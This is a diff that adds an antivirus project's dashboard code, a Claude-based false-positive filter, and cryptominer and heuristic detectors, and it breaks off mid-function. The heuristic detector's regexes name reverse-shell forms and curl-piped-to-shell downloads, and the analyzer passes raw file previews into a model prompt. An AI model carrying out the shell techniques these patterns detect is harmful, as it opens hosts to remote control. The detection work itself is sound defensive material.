"""Return signature stats from the actual signatures database.""" + result = { + "total_hashes": 0, + "total_ips": 0, + "total_domains": 0, + "total_urls": 0, + "last_update": None, + } + # Try to read live counts from the signatures DB + sig_db_path = self.db_path.replace("dashboard.db", "signatures.db") + try: + import sqlite3 as _sql + sdb = _sql.connect(sig_db_path) + sdb.row_factory = _sql.Row + for tbl, key in [("threats", "total_hashes"), ("ioc_ips", "total_ips"), + ("ioc_domains", "total_domains"), ("ioc_urls", "total_urls")]: + try: + result[key] = sdb.execute(f"SELECT COUNT(*) FROM {tbl}").fetchone()[0] + except Exception: + pass + try: + ts = sdb.execute("SELECT MAX(added_date) FROM threats").fetchone()[0] + result["last_update"] = ts + except Exception: + pass + sdb.close() + except Exception: + # Fallback to dashboard update log + with self._lock: + row = self.conn.execute( + "SELECT SUM(hashes_added), SUM(ips_added), " + "SUM(domains_added), SUM(urls_added) FROM signature_updates" + ).fetchone() + result["total_hashes"] = row[0] or 0 + result["total_ips"] = row[1] or 0 + result["total_domains"] = row[2] or 0 + result["total_urls"] = row[3] or 0 + lu = self.conn.execute( + "SELECT MAX(timestamp) FROM signature_updates" + ).fetchone()[0] + result["last_update"] = lu + return result + + # ------------------------------------------------------------------ + # Activity Log + # ------------------------------------------------------------------ + + def log_activity( + self, + message: str, + level: str = "INFO", + source: str = "system", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO activity_log (level, source, message) VALUES (?,?,?)", + (level, source, message), + ) + self.conn.commit() + + def get_recent_logs(self, limit: int = 20) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM activity_log ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def cleanup_old_metrics( + self, hours: int = DASHBOARD_METRIC_RETENTION_HOURS, + ) -> None: + cutoff = (datetime.utcnow() - timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + self.conn.execute("DELETE FROM metrics WHERE timestamp < ?", (cutoff,)) + self.conn.commit() + + def close(self) -> None: + self.conn.close() diff --git a/ayn-antivirus/ayn_antivirus/dashboard/templates.py b/ayn-antivirus/ayn_antivirus/dashboard/templates.py new file mode 100644 index 0000000..4559889 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/templates.py @@ -0,0 +1,910 @@ +"""AYN Antivirus Dashboard — HTML Template. + +Single-page application with embedded CSS and JavaScript. +All data is fetched from the ``/api/*`` endpoints. +""" + +from __future__ import annotations + + +def get_dashboard_html() -> str: + """Return the complete HTML dashboard as a string.""" + return _HTML + + +_HTML = r""" + + + + +AYN Antivirus — Security Dashboard + + + + + +
+
+ +
Security Dashboard
+
+
+
+
Up
+
+
+
+ + + + + +
+ + +
+ +
+
+
Protection
Active
AI-powered analysis
+
Last Scan
+
Signatures
+
Quarantine
0
Isolated items
+
+
+ + +
+
🧮 CPU Per Core
+
+ +
+
+ + +
+
🧠 Memory Usage
+
+
+ +
+
+
Memory Breakdown
+
+
+
Swap
+
+
+
+
+
+ + +
+
+
Load Average
1 / 5 / 15 min
+
Network Connections
Active inet sockets
+
CPU Frequency
Current MHz
+
+
+ + +
+
⚙️ Top Processes
+
+
PIDProcessCPU %RAM %
Loading…
+
+
+ + +
+
💾 Disk Usage
+
Loading…
+
+ + +
+
⚠️ Threat Summary
+
+
Critical
0
+
High
0
+
Medium
0
+
Low
0
+
+
+ + +
+
📈 Scan Activity (14 days)
+
+ +
+ 🔵 Scans🔴 Threats Found +
+
+
+
+ + +
+
+ + + +
+
+
TimeFile PathThreatTypeSeverityDetectorAI VerdictStatusActions
Loading…
+
+
Page 1
+
+ + +
+
+ + +
+
+
📈 Scan History (30 days)
+
🔵 Scans🔴 Threats
+
+
+
📋 Recent Scans
+
+
TimeTypePathFilesThreatsDurationStatus
Loading…
+
+
+
+ + +
+
+
Hashes
0
+
Malicious IPs
0
+
Domains
0
+
URLs
0
+
+
+ + + + + + +
+
+
All
+
Hashes
+
IPs
+
Domains
+
URLs
+
+
+
Loading…
+
Page 1
+
+
🔄 Recent Updates
+
TimeFeedHashesIPsDomainsURLsStatus
+
+
+ + +
+
+ +
+
+
Containers Found
0
+
Available Runtimes
+
Container Threats
0
+
+
+
📦 Discovered Containers
+
+ +
IDNameImageRuntimeStatusIPPortsAction
Loading…
+
+
+
+
⚠️ Container Threats
+
+ +
TimeContainerThreatTypeSeverityDetails
No container threats ✅
+
+
+
+ + +
+
+
Total Quarantined
0
+
Vault Size
0 B
+
+
IDOriginal PathThreatDateSize
Vault is empty ✅
+
+ + +
+
+
Loading…
+
+ +
+ + +
+ + + +""" diff --git a/ayn-antivirus/ayn_antivirus/detectors/__init__.py b/ayn-antivirus/ayn_antivirus/detectors/__init__.py new file mode 100644 index 0000000..d26e3ae --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/__init__.py @@ -0,0 +1,20 @@ +"""AYN Antivirus detector modules.""" + +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult +from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector +from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector +from ayn_antivirus.detectors.rootkit_detector import RootkitDetector +from ayn_antivirus.detectors.signature_detector import SignatureDetector +from ayn_antivirus.detectors.spyware_detector import SpywareDetector +from ayn_antivirus.detectors.yara_detector import YaraDetector + +__all__ = [ + "BaseDetector", + "DetectionResult", + "CryptominerDetector", + "HeuristicDetector", + "RootkitDetector", + "SignatureDetector", + "SpywareDetector", + "YaraDetector", +] diff --git a/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py b/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py new file mode 100644 index 0000000..e53176b --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py @@ -0,0 +1,268 @@ +"""AYN Antivirus — AI-Powered Threat Analyzer. + +Uses Claude to analyze suspicious files and filter false positives. +Each detection from heuristic/signature scanners is verified by AI +before being reported as a real threat. +""" + +from __future__ import annotations + +import json +import logging +import os +import platform +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Dict, List, Optional + +logger = logging.getLogger(__name__) + +SYSTEM_PROMPT = """Linux VPS antivirus analyst. {environment} +Normal: pip/npm scripts in /usr/local/bin, Docker hex IDs, cron jobs (fstrim/certbot/logrotate), high-entropy archives, curl/wget in deploy scripts, recently-modified files after apt/pip. +Reply ONLY JSON: {{"verdict":"threat"|"safe"|"suspicious","confidence":0-100,"reason":"short","recommended_action":"quarantine"|"delete"|"ignore"|"monitor"}}""" + +ANALYSIS_PROMPT = """FILE:{file_path} DETECT:{threat_name}({threat_type}) SEV:{severity} DET:{detector} CONF:{original_confidence}% SIZE:{file_size} PERM:{permissions} OWN:{owner} MOD:{mtime} +PREVIEW: +{content_preview} +JSON verdict:""" + + +@dataclass +class AIVerdict: + """Result of AI analysis on a detection.""" + verdict: str # threat, safe, suspicious + confidence: int # 0-100 + reason: str + recommended_action: str # quarantine, delete, ignore, monitor + raw_response: str = "" + + @property + def is_threat(self) -> bool: + return self.verdict == "threat" + + @property + def is_safe(self) -> bool: + return self.verdict == "safe" + + +class AIAnalyzer: + """AI-powered threat analysis using Claude.""" + + def __init__(self, api_key: Optional[str] = None, model: str = "claude-sonnet-4-20250514"): + self._api_key = api_key or os.environ.get("ANTHROPIC_API_KEY", "") or self._load_key_from_env_file() + self._model = model + self._client = None + self._environment = self._detect_environment() + + @staticmethod + def _load_key_from_env_file() -> str: + for p in ["/opt/ayn-antivirus/.env", Path.home() / ".ayn-antivirus" / ".env"]: + try: + for line in Path(p).read_text().splitlines(): + line = line.strip() + if line.startswith("ANTHROPIC_API_KEY=") and not line.endswith("="): + return line.split("=", 1)[1].strip().strip("'\"") + except Exception: + pass + return "" + + @property + def available(self) -> bool: + return bool(self._api_key) + + def _get_client(self): + if not self._client: + try: + import anthropic + self._client = anthropic.Anthropic(api_key=self._api_key) + except Exception as exc: + logger.error("Failed to init Anthropic client: %s", exc) + return None + return self._client + + @staticmethod + def _detect_environment() -> str: + """Gather environment context for the AI.""" + import shutil + parts = [ + f"OS: {platform.system()} {platform.release()}", + f"Hostname: {platform.node()}", + f"Arch: {platform.machine()}", + ] + if shutil.which("incus"): + parts.append("Container runtime: Incus/LXC (containers run Docker inside)") + if shutil.which("docker"): + parts.append("Docker: available") + if Path("/etc/dokploy").exists() or shutil.which("dokploy"): + parts.append("Platform: Dokploy (Docker deployment platform)") + + # Check if we're inside a container + if Path("/run/host/container-manager").exists(): + parts.append("Running inside: managed container") + return "\n".join(parts) + + def _get_file_context(self, file_path: str) -> Dict[str, Any]: + """Gather file metadata and content preview.""" + p = Path(file_path) + ctx = { + "file_size": 0, + "permissions": "", + "owner": "", + "mtime": "", + "content_preview": "[file not readable]", + } + try: + st = p.stat() + ctx["file_size"] = st.st_size + ctx["permissions"] = oct(st.st_mode)[-4:] + ctx["mtime"] = str(st.st_mtime) + try: + import pwd + ctx["owner"] = pwd.getpwuid(st.st_uid).pw_name + except Exception: + ctx["owner"] = str(st.st_uid) + except OSError: + pass + + try: + with open(file_path, "rb") as f: + raw = f.read(512) + # Try text decode, fall back to hex + try: + ctx["content_preview"] = raw.decode("utf-8", errors="replace") + except Exception: + ctx["content_preview"] = raw.hex()[:512] + except Exception: + pass + + return ctx + + def analyze( + self, + file_path: str, + threat_name: str, + threat_type: str, + severity: str, + detector: str, + confidence: int = 50, + ) -> AIVerdict: + """Analyze a single detection with AI.""" + if not self.available: + # No API key — pass through as-is + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason="AI analysis unavailable (no API key)", + recommended_action="quarantine", + ) + + client = self._get_client() + if not client: + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason="AI client init failed", + recommended_action="quarantine", + ) + + ctx = self._get_file_context(file_path) + + # Sanitize content preview to avoid format string issues + preview = ctx.get("content_preview", "") + if len(preview) > 500: + preview = preview[:500] + "..." + # Replace curly braces to avoid format() issues + preview = preview.replace("{", "{{").replace("}", "}}") + + user_msg = ANALYSIS_PROMPT.format( + file_path=file_path, + threat_name=threat_name, + threat_type=threat_type, + severity=severity, + detector=detector, + original_confidence=confidence, + file_size=ctx.get("file_size", 0), + permissions=ctx.get("permissions", ""), + owner=ctx.get("owner", ""), + mtime=ctx.get("mtime", ""), + content_preview=preview, + ) + + text = "" + try: + response = client.messages.create( + model=self._model, + max_tokens=150, + system=SYSTEM_PROMPT.format(environment=self._environment), + messages=[{"role": "user", "content": user_msg}], + ) + text = response.content[0].text.strip() + + # Parse JSON from response (handle markdown code blocks) + if "```" in text: + parts = text.split("```") + for part in parts[1:]: + cleaned = part.strip() + if cleaned.startswith("json"): + cleaned = cleaned[4:].strip() + if cleaned.startswith("{"): + text = cleaned + break + + # Find the JSON object in the response + start = text.find("{") + end = text.rfind("}") + 1 + if start >= 0 and end > start: + text = text[start:end] + + data = json.loads(text) + return AIVerdict( + verdict=data.get("verdict", "suspicious"), + confidence=data.get("confidence", 50), + reason=data.get("reason", ""), + recommended_action=data.get("recommended_action", "quarantine"), + raw_response=text, + ) + except json.JSONDecodeError as exc: + logger.warning("AI returned non-JSON: %s — raw: %s", exc, text[:200]) + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason=f"AI parse error: {text[:100]}", + recommended_action="quarantine", + raw_response=text, + ) + except Exception as exc: + logger.error("AI analysis failed: %s", exc) + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason=f"AI error: {exc}", + recommended_action="quarantine", + ) + + def analyze_batch( + self, + detections: List[Dict[str, Any]], + ) -> List[Dict[str, Any]]: + """Analyze a batch of detections. Returns enriched detections with AI verdicts. + + Each detection dict should have: file_path, threat_name, threat_type, severity, detector + """ + results = [] + for d in detections: + verdict = self.analyze( + file_path=d.get("file_path", ""), + threat_name=d.get("threat_name", ""), + threat_type=d.get("threat_type", ""), + severity=d.get("severity", "MEDIUM"), + detector=d.get("detector", ""), + confidence=d.get("confidence", 50), + ) + enriched = dict(d) + enriched["ai_verdict"] = verdict.verdict + enriched["ai_confidence"] = verdict.confidence + enriched["ai_reason"] = verdict.reason + enriched["ai_action"] = verdict.recommended_action + results.append(enriched) + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/base.py b/ayn-antivirus/ayn_antivirus/detectors/base.py new file mode 100644 index 0000000..9a0a426 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/base.py @@ -0,0 +1,129 @@ +"""Abstract base class and shared data structures for AYN detectors.""" + +from __future__ import annotations + +import logging +from abc import ABC, abstractmethod +from dataclasses import dataclass, field +from pathlib import Path +from typing import List, Optional + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Detection result +# --------------------------------------------------------------------------- + +@dataclass +class DetectionResult: + """A single detection produced by a detector. + + Attributes + ---------- + threat_name: + Short identifier for the threat (e.g. ``"Trojan.Miner.XMRig"``). + threat_type: + Category string — ``VIRUS``, ``MALWARE``, ``SPYWARE``, ``MINER``, + ``ROOTKIT``, ``HEURISTIC``, etc. + severity: + One of ``CRITICAL``, ``HIGH``, ``MEDIUM``, ``LOW``. + confidence: + How confident the detector is in the finding (0–100). + details: + Human-readable explanation. + detector_name: + Which detector produced this result. + """ + + threat_name: str + threat_type: str + severity: str + confidence: int + details: str + detector_name: str + + +# --------------------------------------------------------------------------- +# Abstract base +# --------------------------------------------------------------------------- + +class BaseDetector(ABC): + """Interface that every AYN detector must implement. + + Detectors receive a file path (and optionally pre-read content / hash) + and return zero or more :class:`DetectionResult` instances. + """ + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @property + @abstractmethod + def name(self) -> str: + """Machine-friendly detector identifier.""" + ... + + @property + @abstractmethod + def description(self) -> str: + """One-line human-readable summary.""" + ... + + # ------------------------------------------------------------------ + # Detection + # ------------------------------------------------------------------ + + @abstractmethod + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Run detection logic against a single file. + + Parameters + ---------- + file_path: + Path to the file on disk. + file_content: + Optional pre-read bytes of the file (avoids double-read). + file_hash: + Optional pre-computed SHA-256 hex digest. + + Returns + ------- + list[DetectionResult] + Empty list when the file is clean. + """ + ... + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + def _read_content( + self, + file_path: Path, + file_content: Optional[bytes], + max_bytes: int = 10 * 1024 * 1024, + ) -> bytes: + """Return *file_content* if provided, otherwise read from disk. + + Reads at most *max_bytes* to avoid unbounded memory usage. + """ + if file_content is not None: + return file_content + with open(file_path, "rb") as fh: + return fh.read(max_bytes) + + def _log(self, msg: str, *args) -> None: + logger.info("[%s] " + msg, self.name, *args) + + def _warn(self, msg: str, *args) -> None: + logger.warning("[%s] " + msg, self.name, *args) + + def _error(self, msg: str, *args) -> None: + logger.error("[%s] " + msg, self.name, *args) diff --git a/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py b/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py new file mode 100644 index 0000000..be02971 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py @@ -0,0 +1,317 @@ +"""Crypto-miner detector for AYN Antivirus. + +Combines file-content analysis, process inspection, and network connection +checks to detect cryptocurrency mining activity on the host. +""" + +from __future__ import annotations + +import logging +import re +from pathlib import Path +from typing import List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + CRYPTO_POOL_DOMAINS, + HIGH_CPU_THRESHOLD, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# File-content patterns +# --------------------------------------------------------------------------- +_RE_STRATUM = re.compile(rb"stratum\+(?:tcp|ssl|tls)://[^\s\"']+", re.IGNORECASE) +_RE_POOL_DOMAIN = re.compile( + rb"(?:" + b"|".join(re.escape(d.encode()) for d in CRYPTO_POOL_DOMAINS) + rb")", + re.IGNORECASE, +) +_RE_ALGO_REF = re.compile( + rb"\b(?:cryptonight|randomx|ethash|kawpow|equihash|scrypt|sha256d|x11|x13|lyra2rev2|blake2s)\b", + re.IGNORECASE, +) +_RE_MINING_CONFIG = re.compile( + rb"""["'](?:algo|pool|wallet|worker|pass|coin|url|user)["']\s*:\s*["']""", + re.IGNORECASE, +) + +# Wallet address patterns (broad but useful). +_RE_BTC_ADDR = re.compile(rb"\b(?:1|3|bc1)[A-HJ-NP-Za-km-z1-9]{25,62}\b") +_RE_ETH_ADDR = re.compile(rb"\b0x[0-9a-fA-F]{40}\b") +_RE_XMR_ADDR = re.compile(rb"\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b") + + +class CryptominerDetector(BaseDetector): + """Detect cryptocurrency mining activity via files, processes, and network.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "cryptominer_detector" + + @property + def description(self) -> str: + return "Detects crypto-mining binaries, configs, processes, and network traffic" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Analyse a file for mining indicators. + + Also checks running processes and network connections for live mining + activity (these are host-wide and not specific to *file_path*, but + are included for a comprehensive picture). + """ + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- File-content checks --- + results.extend(self._check_stratum_urls(file_path, content)) + results.extend(self._check_pool_domains(file_path, content)) + results.extend(self._check_algo_references(file_path, content)) + results.extend(self._check_mining_config(file_path, content)) + results.extend(self._check_wallet_addresses(file_path, content)) + + return results + + # ------------------------------------------------------------------ + # File-content checks + # ------------------------------------------------------------------ + + def _check_stratum_urls( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_STRATUM.findall(content) + if matches: + urls = [m.decode(errors="replace") for m in matches[:5]] + results.append(DetectionResult( + threat_name="Miner.Stratum.URL", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=f"Stratum mining URL(s) found: {', '.join(urls)}", + detector_name=self.name, + )) + return results + + def _check_pool_domains( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_POOL_DOMAIN.findall(content) + if matches: + domains = sorted(set(m.decode(errors="replace") for m in matches)) + results.append(DetectionResult( + threat_name="Miner.PoolDomain", + threat_type="MINER", + severity="HIGH", + confidence=90, + details=f"Mining pool domain(s) referenced: {', '.join(domains[:5])}", + detector_name=self.name, + )) + return results + + def _check_algo_references( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_ALGO_REF.findall(content) + if matches: + algos = sorted(set(m.decode(errors="replace").lower() for m in matches)) + results.append(DetectionResult( + threat_name="Miner.AlgorithmReference", + threat_type="MINER", + severity="MEDIUM", + confidence=60, + details=f"Mining algorithm reference(s): {', '.join(algos)}", + detector_name=self.name, + )) + return results + + def _check_mining_config( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_MINING_CONFIG.findall(content) + if len(matches) >= 2: + results.append(DetectionResult( + threat_name="Miner.ConfigFile", + threat_type="MINER", + severity="HIGH", + confidence=85, + details=( + f"File resembles a mining configuration " + f"({len(matches)} config key(s) detected)" + ), + detector_name=self.name, + )) + return results + + def _check_wallet_addresses( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + wallets: List[str] = [] + + for label, regex in [ + ("BTC", _RE_BTC_ADDR), + ("ETH", _RE_ETH_ADDR), + ("XMR", _RE_XMR_ADDR), + ]: + matches = regex.findall(content) + for m in matches[:3]: + wallets.append(f"{label}:{m.decode(errors='replace')[:20]}…") + + if wallets: + results.append(DetectionResult( + threat_name="Miner.WalletAddress", + threat_type="MINER", + severity="HIGH", + confidence=70, + details=f"Cryptocurrency wallet address(es): {', '.join(wallets[:5])}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Process-based detection (host-wide, not file-specific) + # ------------------------------------------------------------------ + + @staticmethod + def find_miner_processes() -> List[DetectionResult]: + """Scan running processes for known miner names. + + This is a host-wide check and should be called independently from + the per-file ``detect()`` method. + """ + results: List[DetectionResult] = [] + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent"]): + try: + info = proc.info + pname = (info.get("name") or "").lower() + cmdline = " ".join(info.get("cmdline") or []).lower() + + for miner in CRYPTO_MINER_PROCESS_NAMES: + if miner in pname or miner in cmdline: + results.append(DetectionResult( + threat_name=f"Miner.Process.{miner}", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=( + f"Known miner process running: {info.get('name')} " + f"(PID {info['pid']}, CPU {info.get('cpu_percent', 0):.1f}%)" + ), + detector_name="cryptominer_detector", + )) + break + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + return results + + # ------------------------------------------------------------------ + # CPU analysis (host-wide) + # ------------------------------------------------------------------ + + @staticmethod + def find_high_cpu_processes( + threshold: float = HIGH_CPU_THRESHOLD, + ) -> List[DetectionResult]: + """Flag processes consuming CPU above *threshold* percent.""" + results: List[DetectionResult] = [] + for proc in psutil.process_iter(["pid", "name", "cpu_percent"]): + try: + info = proc.info + cpu = info.get("cpu_percent") or 0.0 + if cpu > threshold: + results.append(DetectionResult( + threat_name="Miner.HighCPU", + threat_type="MINER", + severity="HIGH", + confidence=55, + details=( + f"Process {info.get('name')} (PID {info['pid']}) " + f"using {cpu:.1f}% CPU" + ), + detector_name="cryptominer_detector", + )) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + return results + + # ------------------------------------------------------------------ + # Network detection (host-wide) + # ------------------------------------------------------------------ + + @staticmethod + def find_mining_connections() -> List[DetectionResult]: + """Check active network connections for mining pool traffic.""" + results: List[DetectionResult] = [] + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return results + + for conn in connections: + raddr = conn.raddr + if not raddr: + continue + + remote_ip = raddr.ip + remote_port = raddr.port + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + if remote_port in SUSPICIOUS_PORTS: + results.append(DetectionResult( + threat_name="Miner.Network.SuspiciousPort", + threat_type="MINER", + severity="HIGH", + confidence=75, + details=( + f"Connection to port {remote_port} " + f"({remote_ip}, process={proc_name}, PID={conn.pid})" + ), + detector_name="cryptominer_detector", + )) + + for domain in CRYPTO_POOL_DOMAINS: + if domain in remote_ip: + results.append(DetectionResult( + threat_name="Miner.Network.PoolConnection", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=( + f"Active connection to mining pool {domain} " + f"({remote_ip}:{remote_port}, process={proc_name})" + ), + detector_name="cryptominer_detector", + )) + break + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py b/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py new file mode 100644 index 0000000..f8b44b2 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py @@ -0,0 +1,436 @@ +"""Heuristic detector for AYN Antivirus. + +Uses statistical and pattern-based analysis to flag files that *look* +malicious even when no signature or YARA rule matches. Checks include +Shannon entropy (packed/encrypted binaries), suspicious string patterns, +obfuscation indicators, ELF anomalies, and permission/location red flags. +""" + +from __future__ import annotations + +import logging +import math +import re +import stat +from collections import Counter +from datetime import datetime, timedelta +from pathlib import Path +from typing import List, Optional + +from ayn_antivirus.constants import SUSPICIOUS_EXTENSIONS +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Thresholds +# --------------------------------------------------------------------------- +_HIGH_ENTROPY_THRESHOLD = 7.5 # bits per byte — likely packed / encrypted +_CHR_CHAIN_MIN = 6 # minimum chr()/\xNN sequence length +_B64_MIN_LENGTH = 40 # minimum base64 blob considered suspicious + +# --------------------------------------------------------------------------- +# Compiled regexes (built once at import time) +# --------------------------------------------------------------------------- +_RE_BASE64_BLOB = re.compile( + rb"(?:(?:[A-Za-z0-9+/]{4}){10,})(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?" +) +_RE_EVAL_EXEC = re.compile(rb"\b(?:eval|exec|compile)\s*\(", re.IGNORECASE) +_RE_SYSTEM_CALL = re.compile( + rb"\b(?:os\.system|subprocess\.(?:call|run|Popen)|commands\.getoutput)\s*\(", + re.IGNORECASE, +) +_RE_REVERSE_SHELL = re.compile( + rb"(?:/dev/tcp/|bash\s+-i\s+>&|nc\s+-[elp]|ncat\s+-|socat\s+|python[23]?\s+-c\s+['\"]import\s+socket)", + re.IGNORECASE, +) +_RE_WGET_CURL_PIPE = re.compile( + rb"(?:wget|curl)\s+[^\n]*\|\s*(?:sh|bash|python|perl)", re.IGNORECASE +) +_RE_ENCODED_PS = re.compile( + rb"-(?:enc(?:odedcommand)?|e|ec)\s+[A-Za-z0-9+/=]{20,}", re.IGNORECASE +) +_RE_CHR_CHAIN = re.compile( + rb"(?:chr\s*\(\s*\d+\s*\)\s*[\.\+]\s*){" + str(_CHR_CHAIN_MIN).encode() + rb",}", + re.IGNORECASE, +) +_RE_HEX_STRING = re.compile( + rb"(?:\\x[0-9a-fA-F]{2}){8,}" +) +_RE_STRING_CONCAT = re.compile( + rb"""(?:["'][^"']{1,4}["']\s*[\+\.]\s*){6,}""", +) + +# UPX magic at the beginning of packed sections. +_UPX_MAGIC = b"UPX!" + +# System directories where world-writable or SUID files are suspicious. +_SYSTEM_DIRS = {"/usr/bin", "/usr/sbin", "/bin", "/sbin", "/usr/local/bin", "/usr/local/sbin"} + +# Locations where hidden files are suspicious. +_SUSPICIOUS_HIDDEN_DIRS = {"/tmp", "/var/tmp", "/dev/shm", "/var/www", "/srv"} + + +class HeuristicDetector(BaseDetector): + """Flag files that exhibit suspicious characteristics without a known signature.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "heuristic_detector" + + @property + def description(self) -> str: + return "Statistical and pattern-based heuristic analysis" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- Entropy analysis --- + results.extend(self._check_entropy(file_path, content)) + + # --- Suspicious string patterns --- + results.extend(self._check_suspicious_strings(file_path, content)) + + # --- Obfuscation indicators --- + results.extend(self._check_obfuscation(file_path, content)) + + # --- ELF anomalies --- + results.extend(self._check_elf_anomalies(file_path, content)) + + # --- Permission / location anomalies --- + results.extend(self._check_permission_anomalies(file_path)) + + # --- Hidden files in suspicious locations --- + results.extend(self._check_hidden_files(file_path)) + + # --- Recently modified system files --- + results.extend(self._check_recent_system_modification(file_path)) + + return results + + # ------------------------------------------------------------------ + # Entropy + # ------------------------------------------------------------------ + + @staticmethod + def calculate_entropy(data: bytes) -> float: + """Calculate Shannon entropy (bits per byte) of *data*. + + Returns a value between 0.0 (uniform) and 8.0 (maximum randomness). + """ + if not data: + return 0.0 + + length = len(data) + freq = Counter(data) + entropy = 0.0 + for count in freq.values(): + p = count / length + if p > 0: + entropy -= p * math.log2(p) + return entropy + + def _check_entropy( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if len(content) < 256: + return results # too short for meaningful entropy + + entropy = self.calculate_entropy(content) + if entropy > _HIGH_ENTROPY_THRESHOLD: + results.append(DetectionResult( + threat_name="Heuristic.Packed.HighEntropy", + threat_type="MALWARE", + severity="MEDIUM", + confidence=65, + details=( + f"File entropy {entropy:.2f} bits/byte exceeds threshold " + f"({_HIGH_ENTROPY_THRESHOLD}) — likely packed or encrypted" + ), + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Suspicious strings + # ------------------------------------------------------------------ + + def _check_suspicious_strings( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # Base64-encoded payloads. + b64_blobs = _RE_BASE64_BLOB.findall(content) + long_blobs = [b for b in b64_blobs if len(b) >= _B64_MIN_LENGTH] + if long_blobs: + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.Base64Payload", + threat_type="MALWARE", + severity="MEDIUM", + confidence=55, + details=f"Found {len(long_blobs)} large base64-encoded blob(s)", + detector_name=self.name, + )) + + # eval / exec / compile calls. + if _RE_EVAL_EXEC.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Suspicious.DynamicExecution", + threat_type="MALWARE", + severity="MEDIUM", + confidence=50, + details="File uses eval()/exec()/compile() — possible code injection", + detector_name=self.name, + )) + + # os.system / subprocess calls. + if _RE_SYSTEM_CALL.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Suspicious.SystemCall", + threat_type="MALWARE", + severity="MEDIUM", + confidence=45, + details="File invokes system commands via os.system/subprocess", + detector_name=self.name, + )) + + # Reverse shell patterns. + match = _RE_REVERSE_SHELL.search(content) + if match: + results.append(DetectionResult( + threat_name="Heuristic.ReverseShell", + threat_type="MALWARE", + severity="CRITICAL", + confidence=85, + details=f"Reverse shell pattern detected: {match.group()[:80]!r}", + detector_name=self.name, + )) + + # wget/curl piped to sh/bash. + if _RE_WGET_CURL_PIPE.search(content): + 